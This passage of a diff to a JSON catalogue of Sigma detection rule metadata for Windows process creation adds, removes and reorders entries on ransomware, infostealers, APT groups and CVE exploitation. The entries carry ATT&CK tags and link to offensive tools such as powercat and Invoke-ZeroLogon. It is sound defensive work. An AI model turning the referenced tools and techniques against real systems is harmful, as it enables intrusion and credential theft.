Trace" }, - { - "description": "Detects artifacts associated with GALLIUM cyber espionage group as reported by Microsoft Threat Intelligence Center in the December 2019 report.", - "meta": { - "author": "Tim Burrell", - "creation_date": "2020/02/07", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_apt_gallium_iocs.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", - "https://github.com/Azure/Azure-Sentinel/blob/a02ce85c96f162de6f8cc06f07a53b6525f0ff7f/Solutions/Legacy%20IOC%20based%20Threat%20Protection/Analytic%20Rules/GalliumIOCs.yaml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_gallium_iocs.yml" - ], - "tags": [ - "attack.credential_access", - "attack.command_and_control", - "attack.t1212", - "attack.t1071", - "attack.g0093" - ] - }, - "related": [ - { - "dest-uuid": "9c306d8d-cde7-4b4c-b6e8-d0bb16caca36", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "440a56bf-7873-4439-940a-1c8a671073c2", - "value": "GALLIUM IOCs" - }, { "description": "Detects command line parameters or strings often used by crypto miners", "meta": { @@ -72594,9 +69502,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/", "https://redcanary.com/blog/raspberry-robin/", "https://github.com/SigmaHQ/sigma/issues/1009", - "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_susp_shellexec_execution.yml" ], "tags": [ @@ -72677,40 +69585,27 @@ "value": "PUA - CleanWipe Execution" }, { - "description": "Detects DarkSide Ransomware and helpers", + "description": "Detects suspicious child processes of the Veeam service process. This could indicate potential RCE or SQL Injection.", "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/05/14", - "falsepositive": [ - "Unknown", - "UAC bypass method used by other malware" - ], - "filename": "proc_creation_win_malware_darkside_ransomware.yml", + "author": "Nasreddine Bencherchali (Nextron Systems)", + "creation_date": "2023/05/04", + "falsepositive": "No established falsepositives", + "filename": "proc_creation_win_mssql_veaam_susp_child_processes.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.joesandbox.com/analysis/411752/0/html#7048BB9A06B8F2DD9D24C77F389D7B2B58D2", - "https://app.any.run/tasks/8b9a571b-bcc1-4783-ba32-df4ba623b9c0/", - "https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_darkside_ransomware.yml" + "https://labs.withsecure.com/publications/fin7-target-veeam-servers", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mssql_veaam_susp_child_processes.yml" ], "tags": [ - "attack.execution", - "attack.t1204" + "attack.initial_access", + "attack.persistence", + "attack.privilege_escalation" ] }, - "related": [ - { - "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "965fff6c-1d7e-4e25-91fd-cdccd75f7d2c", - "value": "DarkSide Ransomware Pattern" + "uuid": "d55b793d-f847-4eea-b59a-5ab09908ac90", + "value": "Suspicious Child Process Of Veeam Dabatase" }, { "description": "Detects the execution of Sysinternals ADExplorer with the \"-snapshot\" flag in order to save a local copy of the active directory database.", @@ -72799,8 +69694,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/3.B.2_C36B49B5-DF58-4A34-9FE9-56189B9DEFEA.md", "https://github.com/OTRF/detection-hackathon-apt29/issues/6", + "https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/3.B.2_C36B49B5-DF58-4A34-9FE9-56189B9DEFEA.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_sdclt.yml" ], "tags": [ @@ -72903,8 +69798,8 @@ "logsource.product": "windows", "refs": [ "https://github.com/binderlabs/DirCreate2System", - "https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html", "https://www.echotrail.io/insights/search/wermgr.exe", + "https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wermgr_susp_child_process.yml" ], "tags": "No established tags" @@ -72912,41 +69807,6 @@ "uuid": "396f6630-f3ac-44e3-bfc8-1b161bc00c4e", "value": "Suspicious WERMGR Process Patterns" }, - { - "description": "Detects Archer malware invocation via rundll32", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/06/03", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_malware_fireball.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.virustotal.com/en/file/9b4971349ae85aa09c0a69852ed3e626c954954a3927b3d1b6646f139b930022/analysis/", - "https://www.hybrid-analysis.com/sample/9b4971349ae85aa09c0a69852ed3e626c954954a3927b3d1b6646f139b930022?environmentId=100", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_fireball.yml" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion", - "attack.t1218.011" - ] - }, - "related": [ - { - "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "3d4aebe0-6d29-45b2-a8a4-3dfde586a26d", - "value": "Fireball Archer Install" - }, { "description": "Detects suspicious PowerShell invocation command parameters", "meta": { @@ -72983,8 +69843,8 @@ "logsource.product": "windows", "refs": [ "https://learn.microsoft.com/en-us/windows/wsl/install-on-server", - "https://learn.microsoft.com/en-us/windows/win32/projfs/enabling-windows-projected-file-system", "https://docs.microsoft.com/en-us/powershell/module/dism/enable-windowsoptionalfeature?view=windowsserver2022-ps", + "https://learn.microsoft.com/en-us/windows/win32/projfs/enabling-windows-projected-file-system", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_enable_susp_windows_optional_feature.yml" ], "tags": [ @@ -73196,42 +70056,6 @@ "uuid": "83865853-59aa-449e-9600-74b9d89a6d6e", "value": "Audio Capture via SoundRecorder" }, - { - "description": "Detects Formbook like process executions that inject code into a set of files in the System32 folder, which executes a special command command line to delete the dropper from the AppData Temp folder. We avoid false positives by excluding all parent process with command line parameters.", - "meta": { - "author": "Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro", - "creation_date": "2019/09/30", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_malware_formbook.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://app.any.run/tasks/8e22486b-5edc-4cef-821c-373e945f296c/", - "https://inquest.net/blog/2018/06/22/a-look-at-formbook-stealer", - "https://app.any.run/tasks/388d5802-aa48-4826-b069-250420504758/", - "https://app.any.run/tasks/62bb01ae-25a4-4180-b278-8e464a90b8d7/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_formbook.yml" - ], - "tags": [ - "attack.resource_development", - "attack.t1587.001" - ] - }, - "related": [ - { - "dest-uuid": "212306d8-efa4-44c9-8c2d-ed3d2e224aa0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "032f5fb3-d959-41a5-9263-4173c802dc2b", - "value": "Formbook Process Creation" - }, { "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", "meta": { @@ -73279,19 +70103,22 @@ "logsource.product": "windows", "refs": [ "https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1", - "https://github.com/BloodHoundAD/BloodHound/blob/0927441f67161cc6dc08a53c63ceb8e333f55874/Collectors/AzureHound.ps1", - "https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1", - "https://github.com/calebstewart/CVE-2021-1675", - "https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1", - "https://github.com/HarmJ0y/DAMP", - "https://github.com/samratashok/nishang", - "https://github.com/DarkCoderSc/PowerRunAsSystem/", - "https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1", - "https://github.com/besimorhino/powercat", - "https://adsecurity.org/?p=2921", - "https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/", "https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/", "https://bloodhound.readthedocs.io/en/latest/data-collection/azurehound.html", + "https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/", + "https://github.com/adrecon/ADRecon", + "https://github.com/HarmJ0y/DAMP", + "https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1", + "https://github.com/calebstewart/CVE-2021-1675", + "https://github.com/BloodHoundAD/BloodHound/blob/0927441f67161cc6dc08a53c63ceb8e333f55874/Collectors/AzureHound.ps1", + "https://github.com/samratashok/nishang", + "https://github.com/besimorhino/powercat", + "https://adsecurity.org/?p=2921", + "https://github.com/Kevin-Robertson/Powermad", + "https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1", + "https://github.com/DarkCoderSc/PowerRunAsSystem/", + "https://github.com/adrecon/AzureADRecon", + "https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1", "https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_malicious_cmdlets.yml" ], @@ -73415,8 +70242,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", "https://twitter.com/_st0pp3r_/status/1583914244344799235", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_install_quiet.yml" ], @@ -73526,8 +70353,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar", "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", + "https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_base64_reflection_assembly_load.yml" ], "tags": [ @@ -73577,8 +70404,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1059.003/T1059.003.md", "https://web.archive.org/web/20220306121156/https://www.x86matthew.com/view_post?id=ntdll_pipe", + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1059.003/T1059.003.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_stdin_redirect.yml" ], "tags": [ @@ -73901,9 +70728,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Psr/", "https://www.sans.org/summit-archives/file/summit-archive-1493861893.pdf", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", + "https://lolbas-project.github.io/lolbas/Binaries/Psr/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_psr_capture_screenshots.yml" ], "tags": [ @@ -74039,8 +70866,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.echotrail.io/insights/search/ilasm.exe", "https://lolbas-project.github.io/lolbas/Binaries/Ilasm/", + "https://www.echotrail.io/insights/search/ilasm.exe", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ilasm.yml" ], "tags": [ @@ -74073,8 +70900,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/mrd0x/status/1461041276514623491c19-ps", "https://twitter.com/tccontre18/status/1480950986650832903", + "https://twitter.com/mrd0x/status/1461041276514623491c19-ps", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regsvr32_http_pattern.yml" ], "tags": [ @@ -74215,8 +71042,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/ShadowChasing1/status/1552595370961944576", "https://www.virustotal.com/gui/file/a63376ee1dba76361df73338928e528ca5b20171ea74c24581605366dcaa0104/behavior", + "https://twitter.com/ShadowChasing1/status/1552595370961944576", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_net_use_and_exec_combo.yml" ], "tags": [ @@ -74283,8 +71110,8 @@ "logsource.product": "windows", "refs": [ "https://www.zscaler.com/blogs/security-research/unintentional-leak-glimpse-attack-vectors-apt37", - "https://eqllib.readthedocs.io/en/latest/analytics/b25aa548-7937-11e9-8f5c-d46d6d62a49e.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.001/T1218.001.md", + "https://eqllib.readthedocs.io/en/latest/analytics/b25aa548-7937-11e9-8f5c-d46d6d62a49e.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hh_chm_execution.yml" ], "tags": [ @@ -74386,41 +71213,6 @@ "uuid": "327f48c1-a6db-4eb8-875a-f6981f1b0183", "value": "Port Forwarding Attempt Via SSH" }, - { - "description": "Detects potential exploitation of CVE-2021-40444 via suspicious process patterns seen in in-the-wild exploitations", - "meta": { - "author": "Florian Roth (Nextron Systems), @neonprimetime", - "creation_date": "2021/09/08", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_exploit_cve_2021_40444.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.joesandbox.com/analysis/476188/1/iochtml", - "https://twitter.com/neonprimetime/status/1435584010202255375", - "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2021_40444.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ] - }, - "related": [ - { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "894397c6-da03-425c-a589-3d09e7d1f750", - "value": "Potential CVE-2021-40444 Exploitation Attempt" - }, { "description": "Detects a method often used by ransomware. Which combines the \"ping\" to wait a couple of seconds and then \"del\" to delete the file in question. Its used to hide the file responsible for the initial infection for example", "meta": { @@ -74435,9 +71227,9 @@ "logsource.product": "windows", "refs": [ "https://blog.sygnia.co/kaseya-ransomware-supply-chain-attack", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackbyte-exbyte-ransomware", "https://www.acronis.com/en-us/blog/posts/lockbit-ransomware/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackbyte-exbyte-ransomware", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_ping_del_combined_execution.yml" ], "tags": [ @@ -74547,6 +71339,41 @@ "uuid": "c86133ad-4725-4bd0-8170-210788e0a7ba", "value": "Net WebClient Casing Anomalies" }, + { + "description": "Detects a suspicious process spawning a Chromium based browser process with the 'load-extension' flag to start a instance with custom extensions", + "meta": { + "author": "Aedan Russell, frack113, X__Junior (Nextron Systems)", + "creation_date": "2022/06/19", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_browsers_chromium_susp_load_extension.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.mandiant.com/resources/blog/lnk-between-browsers", + "https://redcanary.com/blog/chromeloader/", + "https://emkc.org/s/RJjuLa", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_browsers_chromium_susp_load_extension.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1176" + ] + }, + "related": [ + { + "dest-uuid": "389735f1-f21c-4208-b8f0-f8031e7169b8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "27ba3207-dd30-4812-abbf-5d20c57d474e", + "value": "Suspicious Chromium Browser Instance Executed With Custom Extensions" + }, { "description": "Detects suspicious process run from unusual locations", "meta": { @@ -74594,9 +71421,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/", "https://blog.sekoia.io/lucky-mouse-incident-response-to-detection-engineering/", "https://github.com/jpillora/chisel/", + "https://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_chisel.yml" ], "tags": [ @@ -74665,9 +71492,9 @@ "refs": [ "https://twitter.com/bohops/status/980659399495741441", "https://gist.github.com/bohops/735edb7494fe1bd1010d67823842b712", - "https://lolbas-project.github.io/lolbas/Scripts/Manage-bde/", - "https://twitter.com/JohnLaTwC/status/1223292479270600706", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1216/T1216.md", + "https://twitter.com/JohnLaTwC/status/1223292479270600706", + "https://lolbas-project.github.io/lolbas/Scripts/Manage-bde/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_manage_bde.yml" ], "tags": [ @@ -74747,11 +71574,11 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/", + "https://eqllib.readthedocs.io/en/latest/analytics/e61f557c-a9d0-4c25-ab5b-bbc46bb24deb.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1007/T1007.md#atomic-test-2---system-service-discovery---netexe", "https://eqllib.readthedocs.io/en/latest/analytics/4d2e7fc1-af0b-4915-89aa-03d25ba7805e.html", - "https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/", "https://eqllib.readthedocs.io/en/latest/analytics/9b3dd402-891c-4c4d-a662-28947168ce61.html", - "https://eqllib.readthedocs.io/en/latest/analytics/e61f557c-a9d0-4c25-ab5b-bbc46bb24deb.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_susp_execution.yml" ], "tags": [ @@ -74845,100 +71672,6 @@ "uuid": "183e7ea8-ac4b-4c23-9aec-b3dac4e401ac", "value": "Net.exe Execution" }, - { - "description": "Detects activity that could be related to Baby Shark malware", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2019/02/24", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_malware_babyshark.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_babyshark.yml" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion", - "attack.discovery", - "attack.t1012", - "attack.t1059.003", - "attack.t1059.001", - "attack.t1218.005" - ] - }, - "related": [ - { - "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "2b30fa36-3a18-402f-a22d-bf4ce2189f35", - "value": "Potential Baby Shark Malware Activity" - }, - { - "description": "Detects registry modifications potentially related to the Ke3chang/TidePool malware as seen in campaigns running in 2019 and 2020", - "meta": { - "author": "Markus Neis, Swisscom", - "creation_date": "2020/06/18", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_malware_ke3chang_tidepool.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://web.archive.org/web/20200618080300/https://www.verfassungsschutz.de/embed/broschuere-2020-06-bfv-cyber-brief-2020-01.pdf", - "https://unit42.paloaltonetworks.com/operation-ke3chang-resurfaces-with-new-tidepool-malware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_ke3chang_tidepool.yml" - ], - "tags": [ - "attack.g0004", - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "related": [ - { - "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "7b544661-69fc-419f-9a59-82ccc328f205", - "value": "Potential Ke3chang/TidePool Malware Activity" - }, { "description": "Detects execution of the \"mofcomp\" utility as a child of a suspicious shell or script running utility or by having a supsicious path in the commandline.\nThe \"mofcomp\" utility parses a file containing MOF statements and adds the classes and class instances defined in the file to the WMI repository.\nAttackers abuse this utility to install malicious MOF scripts\n", "meta": { @@ -74952,8 +71685,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", "https://docs.microsoft.com/en-us/windows/win32/wmisdk/mofcomp", + "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", "https://github.com/The-DFIR-Report/Sigma-Rules/blob/75260568a7ffe61b2458ca05f6f25914efb44337/win_mofcomp_execution.yml", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mofcomp_execution.yml" ], @@ -74974,57 +71707,6 @@ "uuid": "1dd05363-104e-4b4a-b963-196a534b03a1", "value": "Potential Suspicious Mofcomp Execution" }, - { - "description": "Detects exploitation attempt of privilege escalation vulnerability via SetupComplete.cmd and PartnerSetupComplete.cmd described in CVE-2019-1378", - "meta": { - "author": "Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro", - "creation_date": "2019/11/15", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_exploit_cve_2019_1378.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.embercybersecurity.com/blog/cve-2019-1378-exploiting-an-access-control-privilege-escalation-vulnerability-in-windows-10-update-assistant-wua", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2019_1378.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1068", - "attack.execution", - "attack.t1059.003", - "attack.t1574", - "cve.2019.1378" - ] - }, - "related": [ - { - "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "1c373b6d-76ce-4553-997d-8c1da9a6b5f5", - "value": "Exploiting SetupComplete.cmd CVE-2019-1378" - }, { "description": "Windows Test Authoring and Execution Framework (TAEF) framework allows you to run automation by executing tests files written on different languages (C, C#, Microsoft COM Scripting interfaces\nAdversaries may execute malicious code (such as WSC file with VBScript, dll and so on) directly by running te.exe\n", "meta": { @@ -75039,8 +71721,8 @@ "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Te/", - "https://docs.microsoft.com/en-us/windows-hardware/drivers/taef/", "https://twitter.com/pabraeken/status/993298228840992768", + "https://docs.microsoft.com/en-us/windows-hardware/drivers/taef/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_te_bin.yml" ], "tags": [ @@ -75149,42 +71831,6 @@ "uuid": "ff3b6b39-e765-42f9-bb2c-ea6761e0e0f6", "value": "Mstsc.EXE Execution From Uncommon Parent" }, - { - "description": "Detects the use of Rundll32 to launch an NSIS module that serves as the main stealer capability of Rhadamanthys infostealer, as observed in reports and samples in early 2023", - "meta": { - "author": "TropChaud", - "creation_date": "2023/01/26", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_malware_rhadamanthys_stealer_dll_launch.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://blog.cyble.com/2023/01/12/rhadamanthys-new-stealer-spreading-through-google-ads/", - "https://twitter.com/anfam17/status/1607477672057208835", - "https://elis531989.medium.com/dancing-with-shellcodes-analyzing-rhadamanthys-stealer-3c4986966a88", - "https://www.joesandbox.com/analysis/790122/0/html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_rhadamanthys_stealer_dll_launch.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.011" - ] - }, - "related": [ - { - "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "5cdbc2e8-86dd-43df-9a1a-200d4745fba5", - "value": "Rhadamanthys Stealer Module Launch Via Rundll32.EXE" - }, { "description": "Detects uses of the SysInternals Procdump utility in which procdump or its output get renamed or a dump file is moved ot copied to a different name", "meta": { @@ -75297,9 +71943,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", "https://isc.sans.edu/diary/Wipe+the+drive+Stealthy+Malware+Persistence+Mechanism+-+Part+1/15394", "http://0xthem.blogspot.com/2014/03/t-emporal-persistence-with-and-schtasks.html", - "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_potential_persistence.yml" ], "tags": [ @@ -75332,10 +71978,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/nas_bench/status/1535322450858233858", - "https://securityboulevard.com/2019/09/deobfuscating-ostap-trickbots-34000-line-javascript-downloader/", "https://twitter.com/CyberRaiju/status/1273597319322058752", "https://twitter.com/bohops/status/1276357235954909188?s=12", + "https://twitter.com/nas_bench/status/1535322450858233858", + "https://securityboulevard.com/2019/09/deobfuscating-ostap-trickbots-34000-line-javascript-downloader/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_explorer_break_process_tree.yml" ], "tags": [ @@ -75435,8 +72081,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - 